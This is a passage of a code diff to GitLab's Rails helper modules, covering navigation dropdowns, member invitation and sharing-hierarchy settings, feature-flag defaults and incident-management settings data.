@@ -43,7 +45,7 @@ module GroupsHelper
end
def group_information_title(group)
- if Feature.enabled?(:sidebar_refactor, current_user)
+ if Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
group.subgroup? ? _('Subgroup information') : _('Group information')
else
group.subgroup? ? _('Subgroup overview') : _('Group overview')
@@ -75,6 +77,10 @@ module GroupsHelper
can?(current_user, :change_share_with_group_lock, group)
end
+ def can_change_prevent_sharing_groups_outside_hierarchy?(group)
+ can?(current_user, :change_prevent_sharing_groups_outside_hierarchy, group)
+ end
+
def can_disable_group_emails?(group)
can?(current_user, :set_emails_disabled, group) && !group.parent&.emails_disabled?
end
@@ -86,14 +92,6 @@ module GroupsHelper
.count
end
- def group_open_merge_requests_count(group)
- if Feature.enabled?(:cached_sidebar_merge_requests_count, group, default_enabled: :yaml)
- cached_issuables_count(@group, type: :merge_requests)
- else
- number_with_delimiter(group_merge_requests_count(state: 'opened'))
- end
- end
-
def group_merge_requests_count(state:)
MergeRequestsFinder
.new(current_user, group_id: @group.id, state: state, non_archived: true, include_subgroups: true)
@@ -194,6 +192,14 @@ module GroupsHelper
end
end
+ def link_to_group(group)
+ link_to(group.name, group_path(group))
+ end
+
+ def prevent_sharing_groups_outside_hierarchy_help_text(group)
+ s_("GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually.").html_safe % { group: link_to_group(group) }
+ end
+
def parent_group_options(current_group)
exclude_groups = current_group.self_and_descendants.pluck_primary_key
exclude_groups << current_group.parent_id if current_group.parent_id
diff --git a/app/helpers/ide_helper.rb b/app/helpers/ide_helper.rb
index d1c84bd4141..b92e418006b 100644
--- a/app/helpers/ide_helper.rb
+++ b/app/helpers/ide_helper.rb
@@ -14,6 +14,7 @@ module IdeHelper
'render-whitespace-in-code': current_user.render_whitespace_in_code.to_s,
'codesandbox-bundler-url': Gitlab::CurrentSettings.web_ide_clientside_preview_bundler_url,
'branch-name' => @branch,
+ 'default-branch' => @project && @project.default_branch,
'file-path' => @path,
'merge-request' => @merge_request,
'fork-info' => @fork_info&.to_json,
diff --git a/app/helpers/invite_members_helper.rb b/app/helpers/invite_members_helper.rb
index 889c058cb21..3c290701a5f 100644
--- a/app/helpers/invite_members_helper.rb
+++ b/app/helpers/invite_members_helper.rb
@@ -8,7 +8,7 @@ module InviteMembersHelper
end
def can_invite_group_for_project?(project)
- Feature.enabled?(:invite_members_group_modal, project.group) && project.allowed_to_share_with_group?
+ Feature.enabled?(:invite_members_group_modal, project.group) && can_manage_project_members?(project) && project.allowed_to_share_with_group?
end
def directly_invite_members?
@@ -21,17 +21,6 @@ module InviteMembersHelper
experiment_enabled?(:invite_members_empty_group_version_a) && Ability.allowed?(current_user, :admin_group_member, group)
end
- def dropdown_invite_members_link(form_model)
- link_to invite_members_url(form_model),
- data: {
- 'track-event': 'click_link',
- 'track-label': tracking_label,
- 'track-property': experiment_tracking_category_and_group(:invite_members_new_dropdown)
- } do
- invite_member_link_content
- end
- end
-
def invite_accepted_notice(member)
case member.source
when Project
@@ -43,22 +32,11 @@ module InviteMembersHelper
end
end
- private
-
- def invite_members_url(form_model)
- case form_model
- when Project
- project_project_members_path(form_model)
- when Group
- group_group_members_path(form_model)
+ def group_select_data(group)
+ if group.root_ancestor.namespace_settings.prevent_sharing_groups_outside_hierarchy
+ { groups_filter: 'descendant_groups', parent_id: group.root_ancestor.id }
+ else
+ {}
end
end
-
- def invite_member_link_content
- text = s_('InviteMember|Invite members')
-
- return text unless experiment_enabled?(:invite_members_new_dropdown)
-
- "#{text} #{emoji_icon('shaking_hands', 'aria-hidden': true, class: 'gl-font-base gl-vertical-align-baseline')}".html_safe
- end
end
diff --git a/app/helpers/issuables_description_templates_helper.rb b/app/helpers/issuables_description_templates_helper.rb
index 5f69098de56..6cafde65c5c 100644
--- a/app/helpers/issuables_description_templates_helper.rb
+++ b/app/helpers/issuables_description_templates_helper.rb
@@ -29,17 +29,12 @@ module IssuablesDescriptionTemplatesHelper
def issuable_templates(project, issuable_type)
@template_types ||= {}
@template_types[project.id] ||= {}
- @template_types[project.id][issuable_type] ||= TemplateFinder.all_template_names_hash_or_array(project, issuable_type)
+ @template_types[project.id][issuable_type] ||= TemplateFinder.all_template_names(project, issuable_type.pluralize)
end
def issuable_templates_names(issuable)
all_templates = issuable_templates(ref_project, issuable.to_ability_name)
-
- if ref_project.inherited_issuable_templates_enabled?
- all_templates.values.flatten.map { |tpl| tpl[:name] if tpl[:project_id] == ref_project.id }.compact.uniq
- else
- all_templates.map { |template| template[:name] }
- end
+ all_templates.values.flatten.map { |tpl| tpl[:name] if tpl[:project_id] == ref_project.id }.compact.uniq
end
def selected_template(issuable)
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index c662dabe453..c40feb42eea 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -220,6 +220,10 @@ module IssuablesHelper
@show_full_reference ? issuable.to_reference(full: true) : issuable.to_reference(@group || @project)
end
+ def issuable_project_reference(issuable)
+ "#{issuable.project.full_name} #{issuable.to_reference}"
+ end
+
def issuable_initial_data(issuable)
data = {
endpoint: issuable_path(issuable),
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index 1449725fb2b..91920277c50 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -192,15 +192,15 @@ module IssuesHelper
empty_state_svg_path: image_path('illustrations/issues.svg'),
endpoint: expose_path(api_v4_projects_issues_path(id: project.id)),
export_csv_path: export_csv_project_issues_path(project),
- has_issues: project_issues(project).exists?.to_s,
+ has_project_issues: project_issues(project).exists?.to_s,
import_csv_issues_path: import_csv_namespace_project_issues_path,
initial_email: project.new_issuable_address(current_user, 'issue'),
is_signed_in: current_user.present?.to_s,
issues_path: project_issues_path(project),
- jira_integration_path: help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues'),
+ jira_integration_path: help_page_url('integration/jira/', anchor: 'view-jira-issues'),
markdown_help_path: help_page_path('user/markdown'),
max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
- new_issue_path: new_project_issue_path(project, issue: { assignee_id: finder.assignee.try(:id), milestone_id: finder.milestones.first.try(:id) }),
+ new_issue_path: new_project_issue_path(project, issue: { milestone_id: finder.milestones.first.try(:id) }),
project_import_jira_path: project_import_jira_path(project),
project_labels_path: project_labels_path(project, include_ancestor_groups: true, format: :json),
project_milestones_path: project_milestones_path(project, format: :json),
diff --git a/app/helpers/keyset_helper.rb b/app/helpers/keyset_helper.rb
new file mode 100644
index 00000000000..e7f6f884091
--- /dev/null
+++ b/app/helpers/keyset_helper.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module KeysetHelper
+ def keyset_paginate(paginator, without_first_and_last_pages: false)
+ page_params = params.to_unsafe_h
+
+ render('kaminari/gitlab/keyset_paginator', {
+ paginator: paginator,
+ without_first_and_last_pages: without_first_and_last_pages,
+ page_params: page_params
+ })
+ end
+end
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index 514f5fafd65..81059834136 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -80,12 +80,6 @@ module MergeRequestsHelper
diffs_project_merge_request_path(project, merge_request, diff_id: merge_request_diff.id, start_sha: start_sha)
end
- def version_index(merge_request_diff)
- return if @merge_request_diffs.empty?
-
- @merge_request_diffs.size - @merge_request_diffs.index(merge_request_diff)
- end
-
def merge_params(merge_request)
{
auto_merge_strategy: AutoMergeService::STRATEGY_MERGE_WHEN_PIPELINE_SUCCEEDS,
diff --git a/app/helpers/nav/new_dropdown_helper.rb b/app/helpers/nav/new_dropdown_helper.rb
new file mode 100644
index 00000000000..b952aeacb13
--- /dev/null
+++ b/app/helpers/nav/new_dropdown_helper.rb
@@ -0,0 +1,188 @@
+# frozen_string_literal: true
+
+module Nav
+ module NewDropdownHelper
+ def new_dropdown_view_model(group:, project:)
+ return unless current_user
+
+ menu_sections = []
+
+ if group&.persisted?
+ menu_sections.push(group_menu_section(group))
+ elsif project&.persisted?
+ menu_sections.push(project_menu_section(project))
+ end
+
+ menu_sections.push(general_menu_section)
+
+ {
+ title: _("New..."),
+ menu_sections: menu_sections.select { |x| x.fetch(:menu_items).any? }
+ }
+ end
+
+ def new_repo_experiment_text
+ experiment(:new_repo, user: current_user) do |e|
+ e.use { _('New project') }
+ e.try { _('New project/repository') }
+ end.run
+ end
+
+ private
+
+ def group_menu_section(group)
+ menu_items = []
+
+ if can?(current_user, :create_projects, group)
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_project',
+ title: new_repo_experiment_text,
+ href: new_project_path(namespace_id: group.id),
+ data: { track_experiment: 'new_repo', track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ end
+
+ if can?(current_user, :create_subgroup, group)
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_subgroup',
+ title: _('New subgroup'),
+ href: new_group_path(parent_id: group.id),
+ data: { track_event: 'click_link_new_subgroup', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ end
+
+ menu_items.push(create_epic_menu_item(group))
+
+ if Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can?(current_user, :admin_group_member, group)
+ menu_items.push(
+ invite_members_menu_item(
+ href: group_group_members_path(group)
+ )
+ )
+ end
+
+ {
+ title: _('This group'),
+ menu_items: menu_items.compact
+ }
+ end
+
+ def project_menu_section(project)
+ menu_items = []
+ merge_project = merge_request_source_project_for_project(project)
+
+ if show_new_issue_link?(project)
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_issue',
+ title: _('New issue'),
+ href: new_project_issue_path(project),
+ data: { track_event: 'click_link_new_issue', track_label: 'plus_menu_dropdown', qa_selector: 'new_issue_link' }
+ )
+ )
+ end
+
+ if merge_project
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_mr',
+ title: _('New merge request'),
+ href: project_new_merge_request_path(merge_project),
+ data: { track_event: 'click_link_new_mr', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ end
+
+ if can?(current_user, :create_snippet, project)
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_snippet',
+ title: _('New snippet'),
+ href: new_project_snippet_path(project),
+ data: { track_event: 'click_link_new_snippet_project', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ end
+
+ if Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can_import_members?
+ menu_items.push(
+ invite_members_menu_item(
+ href: project_project_members_path(project)
+ )
+ )
+ end
+
+ {
+ title: _('This project'),
+ menu_items: menu_items
+ }
+ end
+
+ def general_menu_section
+ menu_items = []
+
+ if current_user.can_create_project?
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_project',
+ title: new_repo_experiment_text,
+ href: new_project_path,
+ data: { track_experiment: 'new_repo', track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
+ )
+ )
+ end
+
+ if current_user.can_create_group?
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_group',
+ title: _('New group'),
+ href: new_group_path,
+ data: { track_event: 'click_link_new_group', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ end
+
+ if current_user.can?(:create_snippet)
+ menu_items.push(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_snippet',
+ title: _('New snippet'),
+ href: new_snippet_path,
+ data: { track_event: 'click_link_new_snippet_parent', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_snippet_link' }
+ )
+ )
+ end
+
+ {
+ title: _('GitLab'),
+ menu_items: menu_items
+ }
+ end
+
+ def invite_members_menu_item(href:)
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'invite',
+ title: s_('InviteMember|Invite members'),
+ emoji: ('shaking_hands' if experiment_enabled?(:invite_members_new_dropdown)),
+ href: href,
+ data: {
+ track_event: 'click_link',
+ track_label: tracking_label,
+ track_property: experiment_tracking_category_and_group(:invite_members_new_dropdown)
+ }
+ )
+ end
+
+ # Overridden in EE
+ def create_epic_menu_item(group)
+ nil
+ end
+ end
+end
+
+Nav::NewDropdownHelper.prepend_mod
diff --git a/app/helpers/nav/top_nav_helper.rb b/app/helpers/nav/top_nav_helper.rb
index 159b7ca87f9..b8ddb932b73 100644
--- a/app/helpers/nav/top_nav_helper.rb
+++ b/app/helpers/nav/top_nav_helper.rb
@@ -4,52 +4,90 @@ module Nav
module TopNavHelper
PROJECTS_VIEW = :projects
GROUPS_VIEW = :groups
+ NEW_VIEW = :new
+ SEARCH_VIEW = :search
def top_nav_view_model(project:, group:)
builder = ::Gitlab::Nav::TopNavViewModelBuilder.new
- if current_user
- build_view_model(builder: builder, project: project, group: group)
- else
- build_anonymous_view_model(builder: builder)
+ build_base_view_model(builder: builder, project: project, group: group)
+
+ builder.build
+ end
+
+ def top_nav_responsive_view_model(project:, group:)
+ builder = ::Gitlab::Nav::TopNavViewModelBuilder.new
+
+ build_base_view_model(builder: builder, project: project, group: group)
+
+ new_view_model = new_dropdown_view_model(project: project, group: group)
+
+ if new_view_model
+ builder.add_view(NEW_VIEW, new_view_model)
+ end
+
+ if top_nav_show_search
+ builder.add_view(SEARCH_VIEW, ::Gitlab::Nav::TopNavMenuItem.build(**top_nav_search_menu_item_attrs))
end
builder.build
end
+ def top_nav_show_search
+ header_link?(:search)
+ end
+
+ def top_nav_search_menu_item_attrs
+ {
+ id: 'search',
+ title: _('Search'),
+ icon: 'search',
+ href: search_context.search_url
+ }
+ end
+
private
+ def build_base_view_model(builder:, project:, group:)
+ if current_user
+ build_view_model(builder: builder, project: project, group: group)
+ else
+ build_anonymous_view_model(builder: builder)
+ end
+ end
+
def build_anonymous_view_model(builder:)
# These come from `app/views/layouts/nav/_explore.html.ham`
if explore_nav_link?(:projects)
- builder.add_primary_menu_item(
- **projects_menu_item_attrs.merge(
- {
- active: active_nav_link?(path: %w[dashboard#show root#show projects#trending projects#starred projects#index]),
- href: explore_root_path
- })
+ builder.add_primary_menu_item_with_shortcut(
+ href: explore_root_path,
+ active: nav == 'project' || active_nav_link?(path: %w[dashboard#show root#show projects#trending projects#starred projects#index]),
+ **projects_menu_item_attrs
)
end
if explore_nav_link?(:groups)
- builder.add_primary_menu_item(
- **groups_menu_item_attrs.merge(
- {
- active: active_nav_link?(controller: [:groups, 'groups/milestones', 'groups/group_members']),
- href: explore_groups_path
- })
+ builder.add_primary_menu_item_with_shortcut(
+ href: explore_groups_path,
+ active: nav == 'group' || active_nav_link?(controller: [:groups, 'groups/milestones', 'groups/group_members']),
+ **groups_menu_item_attrs
)
end
if explore_nav_link?(:snippets)
- builder.add_primary_menu_item(
- **snippets_menu_item_attrs.merge(
- {
- active: active_nav_link?(controller: :snippets),
- href: explore_snippets_path
- })
+ builder.add_primary_menu_item_with_shortcut(
+ active: active_nav_link?(controller: :snippets),
+ href: explore_snippets_path,
+ **snippets_menu_item_attrs
)
end
+
+ builder.add_secondary_menu_item(
+ id: 'help',
+ title: _('Help'),
+ icon: 'question-o',
+ href: help_path
+ )
end
def build_view_model(builder:, project:, group:)
@@ -57,13 +95,13 @@ module Nav
if dashboard_nav_link?(:projects)
current_item = project ? current_project(project: project) : {}
- builder.add_primary_menu_item(
- **projects_menu_item_attrs.merge({
- active: active_nav_link?(path: %w[root#index projects#trending projects#starred dashboard/projects#index]),
- css_class: 'qa-projects-dropdown',
- data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" },
- view: PROJECTS_VIEW
- })
+ builder.add_primary_menu_item_with_shortcut(
+ active: nav == 'project' || active_nav_link?(path: %w[root#index projects#trending projects#starred dashboard/projects#index]),
+ css_class: 'qa-projects-dropdown',
+ data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" },
+ view: PROJECTS_VIEW,
+ shortcut_href: dashboard_projects_path,
+ **projects_menu_item_attrs
)
builder.add_view(PROJECTS_VIEW, container_view_props(namespace: 'projects', current_item: current_item, submenu: projects_submenu))
end
@@ -71,46 +109,47 @@ module Nav
if dashboard_nav_link?(:groups)
current_item = group ? current_group(group: group) : {}
- builder.add_primary_menu_item(
- **groups_menu_item_attrs.merge({
- active: active_nav_link?(path: %w[dashboard/groups explore/groups]),
- css_class: 'qa-groups-dropdown',
- data: { track_label: "groups_dropdown", track_event: "click_dropdown" },
- view: GROUPS_VIEW
- })
+ builder.add_primary_menu_item_with_shortcut(
+ active: nav == 'group' || active_nav_link?(path: %w[dashboard/groups explore/groups]),
+ css_class: 'qa-groups-dropdown',
+ data: { track_label: "groups_dropdown", track_event: "click_dropdown" },
+ view: GROUPS_VIEW,
+ shortcut_href: dashboard_groups_path,
+ **groups_menu_item_attrs
)
builder.add_view(GROUPS_VIEW, container_view_props(namespace: 'groups', current_item: current_item, submenu: groups_submenu))
end
if dashboard_nav_link?(:milestones)
- builder.add_primary_menu_item(
+ builder.add_primary_menu_item_with_shortcut(
id: 'milestones',
title: 'Milestones',
+ href: dashboard_milestones_path,
active: active_nav_link?(controller: 'dashboard/milestones'),
icon: 'clock',
data: { qa_selector: 'milestones_link' },
- href: dashboard_milestones_path
+ shortcut_class: 'dashboard-shortcuts-milestones'
)
end
if dashboard_nav_link?(:snippets)
- builder.add_primary_menu_item(
- **snippets_menu_item_attrs.merge({
- active: active_nav_link?(controller: 'dashboard/snippets'),
- data: { qa_selector: 'snippets_link' },
- href: dashboard_snippets_path
- })
+ builder.add_primary_menu_item_with_shortcut(
+ active: active_nav_link?(controller: 'dashboard/snippets'),
+ data: { qa_selector: 'snippets_link' },
+ href: dashboard_snippets_path,
+ **snippets_menu_item_attrs
)
end
if dashboard_nav_link?(:activity)
- builder.add_primary_menu_item(
+ builder.add_primary_menu_item_with_shortcut(
id: 'activity',
title: 'Activity',
+ href: activity_dashboard_path,
active: active_nav_link?(path: 'dashboard#activity'),
icon: 'history',
data: { qa_selector: 'activity_link' },
- href: activity_dashboard_path
+ shortcut_class: 'dashboard-shortcuts-activity'
)
end
@@ -137,7 +176,7 @@ module Nav
active: active_nav_link?(controller: 'admin/sessions'),
icon: 'lock-open',
href: destroy_admin_session_path,
- method: :post
+ data: { method: 'post' }
)
elsif current_user.admin?
builder.add_secondary_menu_item(
@@ -165,7 +204,8 @@ module Nav
{
id: 'project',
title: _('Projects'),
- icon: 'project'
+ icon: 'project',
+ shortcut_class: 'dashboard-shortcuts-projects'
}
end
@@ -173,7 +213,8 @@ module Nav
{
id: 'groups',
title: 'Groups',
- icon: 'group'
+ icon: 'group',
+ shortcut_class: 'dashboard-shortcuts-groups'
}
end
@@ -181,7 +222,8 @@ module Nav
{
id: 'snippets',
title: _('Snippets'),
- icon: 'snippet'
+ icon: 'snippet',
+ shortcut_class: 'dashboard-shortcuts-snippets'
}
end
@@ -234,7 +276,11 @@ module Nav
builder = ::Gitlab::Nav::TopNavMenuBuilder.new
builder.add_primary_menu_item(id: 'your', title: _('Your groups'), href: dashboard_groups_path)
builder.add_primary_menu_item(id: 'explore', title: _('Explore groups'), href: explore_groups_path)
- builder.add_secondary_menu_item(id: 'create', title: _('Create group'), href: new_group_path(anchor: 'create-group-pane'))
+
+ if current_user.can_create_group?
+ builder.add_secondary_menu_item(id: 'create', title: _('Create group'), href: new_group_path)
+ end
+
builder.build
end
end
diff --git a/app/helpers/nav_helper.rb b/app/helpers/nav_helper.rb
index aab1a44bdfb..b5171dfbebd 100644
--- a/app/helpers/nav_helper.rb
+++ b/app/helpers/nav_helper.rb
@@ -12,7 +12,6 @@ module NavHelper
def page_with_sidebar_class
class_name = page_gutter_class
class_name << 'page-with-contextual-sidebar' if defined?(@left_sidebar) && @left_sidebar
- class_name << 'sidebar-refactoring' if Feature.enabled?(:sidebar_refactor, current_user)
class_name << 'page-with-icon-sidebar' if collapsed_sidebar? && @left_sidebar
class_name -= ['right-sidebar-expanded'] if defined?(@right_sidebar) && !@right_sidebar
@@ -61,7 +60,7 @@ module NavHelper
end
def admin_monitoring_nav_links
- %w(system_info background_jobs health_check requests_profiles)
+ %w(system_info background_migrations background_jobs health_check requests_profiles)
end
def admin_analytics_nav_links
diff --git a/app/helpers/notify_helper.rb b/app/helpers/notify_helper.rb
index 38c98776fdf..c0ba93f4a30 100644
--- a/app/helpers/notify_helper.rb
+++ b/app/helpers/notify_helper.rb
@@ -9,29 +9,15 @@ module NotifyHelper
link_to(entity.to_reference(full: full), issue_url(entity, *args))
end
- def invited_role_description(role_name)
- case role_name
- when "Guest"
- s_("InviteEmail|As a guest, you can view projects, leave comments, and create issues.")
- when "Reporter"
- s_("InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues.")
- when "Developer"
- s_("InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production.")
- when "Maintainer"
- s_("InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production.")
- when "Owner"
- s_("InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members.")
- when "Minimal Access"
- s_("InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API.")
- end
- end
-
def invited_to_description(source)
- case source
- when "project"
- s_('InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD.')
- when "group"
- s_('InviteEmail|Groups assemble related projects together and grant members access to several projects at once.')
- end
+ default_description =
+ case source
+ when Project
+ s_('InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD.')
+ when Group
+ s_('InviteEmail|Groups assemble related projects together and grant members access to several projects at once.')
+ end
+
+ (source.description || default_description).truncate(200, separator: ' ')
end
end
diff --git a/app/helpers/operations_helper.rb b/app/helpers/operations_helper.rb
index df07baa2d03..fb410c46128 100644
--- a/app/helpers/operations_helper.rb
+++ b/app/helpers/operations_helper.rb
@@ -10,6 +10,9 @@ module OperationsHelper
end
def alerts_settings_data(disabled: false)
+ setting = project_incident_management_setting
+ templates = setting.available_issue_templates.map { |t| { key: t.key, name: t.name } }
+
{
'prometheus_activated' => prometheus_service.manual_configuration?.to_s,
'prometheus_form_path' => scoped_integration_path(prometheus_service),
@@ -21,21 +24,22 @@ module OperationsHelper
'alerts_usage_url' => project_alert_management_index_path(@project),
'disabled' => disabled.to_s,
'project_path' => @project.full_path,
- 'multi_integrations' => 'false'
+ 'multi_integrations' => 'false',
+ 'templates' => templates.to_json,
+ 'create_issue' => setting.create_issue.to_s,
+ 'issue_template_key' => setting.issue_template_key.to_s,
+ 'send_email' => setting.send_email.to_s,
+ 'auto_close_incident' => setting.auto_close_incident.to_s,
+ 'pagerduty_reset_key_path' => reset_pagerduty_token_project_settings_operations_path(@project),
+ 'operations_settings_endpoint' => project_settings_operations_path(@project)
}
end
def operations_settings_data
setting = project_incident_management_setting
- templates = setting.available_issue_templates.map { |t| { key: t.key, name: t.name } }
{
operations_settings_endpoint: project_settings_operations_path(@project),
- templates: templates.to_json,
- create_issue: setting.create_issue.to_s,
- issue_template_key: setting.issue_template_key.to_s,
- send_email: setting.send_email.to_s,
- auto_close_incident: setting.auto_close_incident.to_s,
pagerduty_active: setting.pagerduty_active.to_s,
pagerduty_token: setting.pagerduty_token.to_s,
pagerduty_webhook_url: project_incidents_integrations_pagerduty_url(@project, token: setting.pagerduty_token),
diff --git a/app/helpers/packages_helper.rb b/app/helpers/packages_helper.rb
index 04465f7798c..fe41c041b4f 100644
--- a/app/helpers/packages_helper.rb
+++ b/app/helpers/packages_helper.rb
@@ -53,4 +53,14 @@ module PackagesHelper
category = args.delete(:category) || self.class.name
::Gitlab::Tracking.event(category, event_name.to_s, **args)
end
+
+ def show_cleanup_policy_on_alert(project)
+ Gitlab.com? &&
+ Gitlab.config.registry.enabled &&
+ project.container_registry_enabled &&
+ !Gitlab::CurrentSettings.container_expiration_policies_enable_historic_entries &&
+ Feature.enabled?(:container_expiration_policies_historic_entry, project) &&
+ project.container_expiration_policy.nil? &&
+ project.container_repositories.exists?
+ end
end
diff --git a/app/helpers/preferences_helper.rb b/app/helpers/preferences_helper.rb
index d851ed3db8f..76f2ee0981b 100644
--- a/app/helpers/preferences_helper.rb
+++ b/app/helpers/preferences_helper.rb
@@ -66,6 +66,10 @@ module PreferencesHelper
@user_application_theme_css_filename ||= Gitlab::Themes.for_user(current_user).css_filename
end
+ def user_theme_primary_color
+ Gitlab::Themes.for_user(current_user).primary_color
+ end
+
def user_color_scheme
Gitlab::ColorSchemes.for_user(current_user).css_class
end
@@ -83,13 +87,17 @@ module PreferencesHelper
def integration_views
[].tap do |views|
- views << { name: 'gitpod', message: gitpod_enable_description, message_url: 'https://gitpod.io/', help_link: help_page_path('integration/gitpod.md') } if Gitlab::CurrentSettings.gitpod_enabled
+ views << { name: 'gitpod', message: gitpod_enable_description, message_url: gitpod_url_placeholder, help_link: help_page_path('integration/gitpod.md') } if Gitlab::CurrentSettings.gitpod_enabled
views << { name: 'sourcegraph', message: sourcegraph_url_message, message_url: Gitlab::CurrentSettings.sourcegraph_url, help_link: help_page_path('user/profile/preferences.md', anchor: 'sourcegraph') } if Gitlab::Sourcegraph.feature_available? && Gitlab::CurrentSettings.sourcegraph_enabled
end
end
private
+ def gitpod_url_placeholder
+ Gitlab::CurrentSettings.gitpod_url.presence || 'https://gitpod.io/'
+ end
+
# Ensure that anyone adding new options updates `DASHBOARD_CHOICES` too
def validate_dashboard_choices!(user_dashboards)
if user_dashboards.size != localized_dashboard_choices.size
diff --git a/app/helpers/projects/project_members_helper.rb b/app/helpers/projects/project_members_helper.rb
index fa68bbad135..0871d5638b8 100644
--- a/app/helpers/projects/project_members_helper.rb
+++ b/app/helpers/projects/project_members_helper.rb
@@ -27,12 +27,15 @@ module Projects::ProjectMembersHelper
project.group.has_owner?(current_user)
end
- def project_members_list_data_json(project, members, pagination = {})
- project_members_list_data(project, members, pagination).to_json
- end
-
- def project_group_links_list_data_json(project, group_links)
- project_group_links_list_data(project, group_links).to_json
+ def project_members_app_data_json(project, members:, group_links:, invited:, access_requests:)
+ {
+ user: project_members_list_data(project, members, { param_name: :page, params: { search_groups: nil } }),
+ group: project_group_links_list_data(project, group_links),
+ invite: project_members_list_data(project, invited.nil? ? [] : invited),
+ access_request: project_members_list_data(project, access_requests.nil? ? [] : access_requests),
+ source_id: project.id,
+ can_manage_members: can_manage_project_members?(project)
+ }.to_json
end
private
@@ -45,13 +48,11 @@ module Projects::ProjectMembersHelper
GroupLink::ProjectGroupLinkSerializer.new.represent(group_links, { current_user: current_user })
end
- def project_members_list_data(project, members, pagination)
+ def project_members_list_data(project, members, pagination = {})
{
members: project_members_serialized(project, members),
pagination: members_pagination_data(members, pagination),
- member_path: project_project_member_path(project, ':id'),
- source_id: project.id,
- can_manage_members: can_manage_project_members?(project)
+ member_path: project_project_member_path(project, ':id')
}
end
@@ -59,9 +60,7 @@ module Projects::ProjectMembersHelper
{
members: project_group_links_serialized(group_links),
pagination: members_pagination_data(group_links),
- member_path: project_group_link_path(project, ':id'),
- source_id: project.id,
- can_manage_members: can_manage_project_members?(project)
+ member_path: project_group_link_path(project, ':id')
}
end
end
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index f2a50ce1325..8800bd0643c 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -612,12 +612,12 @@ module ProjectsHelper
end
def settings_container_registry_expiration_policy_available?(project)
- Feature.disabled?(:sidebar_refactor, current_user) &&
+ Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml) &&
can_destroy_container_registry_image?(current_user, project)
end
def settings_packages_and_registries_enabled?(project)
- Feature.enabled?(:sidebar_refactor, current_user) &&
+ Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml) &&
can_destroy_container_registry_image?(current_user, project)
end
diff --git a/app/helpers/registrations_helper.rb b/app/helpers/registrations_helper.rb
index 79f0a66f995..24131e32c6c 100644
--- a/app/helpers/registrations_helper.rb
+++ b/app/helpers/registrations_helper.rb
@@ -7,6 +7,16 @@ module RegistrationsHelper
devise_mapping.omniauthable? &&
button_based_providers_enabled?
end
+
+ def signup_username_data_attributes
+ {
+ min_length: User::MIN_USERNAME_LENGTH,
+ min_length_message: s_('SignUp|Username is too short (minimum is %{min_length} characters).') % { min_length: User::MIN_USERNAME_LENGTH },
+ max_length: User::MAX_USERNAME_LENGTH,
+ max_length_message: s_('SignUp|Username is too long (maximum is %{max_length} characters).') % { max_length: User::MAX_USERNAME_LENGTH },
+ qa_selector: 'new_user_username_field'
+ }
+ end
end
RegistrationsHelper.prepend_mod_with('RegistrationsHelper')
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index 1f4c98d6f28..e07ee22339a 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -9,7 +9,8 @@ module SearchHelper
:repository_ref,
:snippets,
:sort,
- :force_search_results
+ :force_search_results,
+ :project_ids
].freeze
def search_autocomplete_opts(term)
diff --git a/app/helpers/services_helper.rb b/app/helpers/services_helper.rb
index 3d3ab3a6972..83000189ab3 100644
--- a/app/helpers/services_helper.rb
+++ b/app/helpers/services_helper.rb
@@ -107,7 +107,7 @@ module ServicesHelper
reset_path: scoped_reset_integration_path(integration, group: group)
}
- if integration.is_a?(JiraService)
+ if integration.is_a?(Integrations::Jira)
form_data[:jira_issue_transition_automatic] = integration.jira_issue_transition_automatic
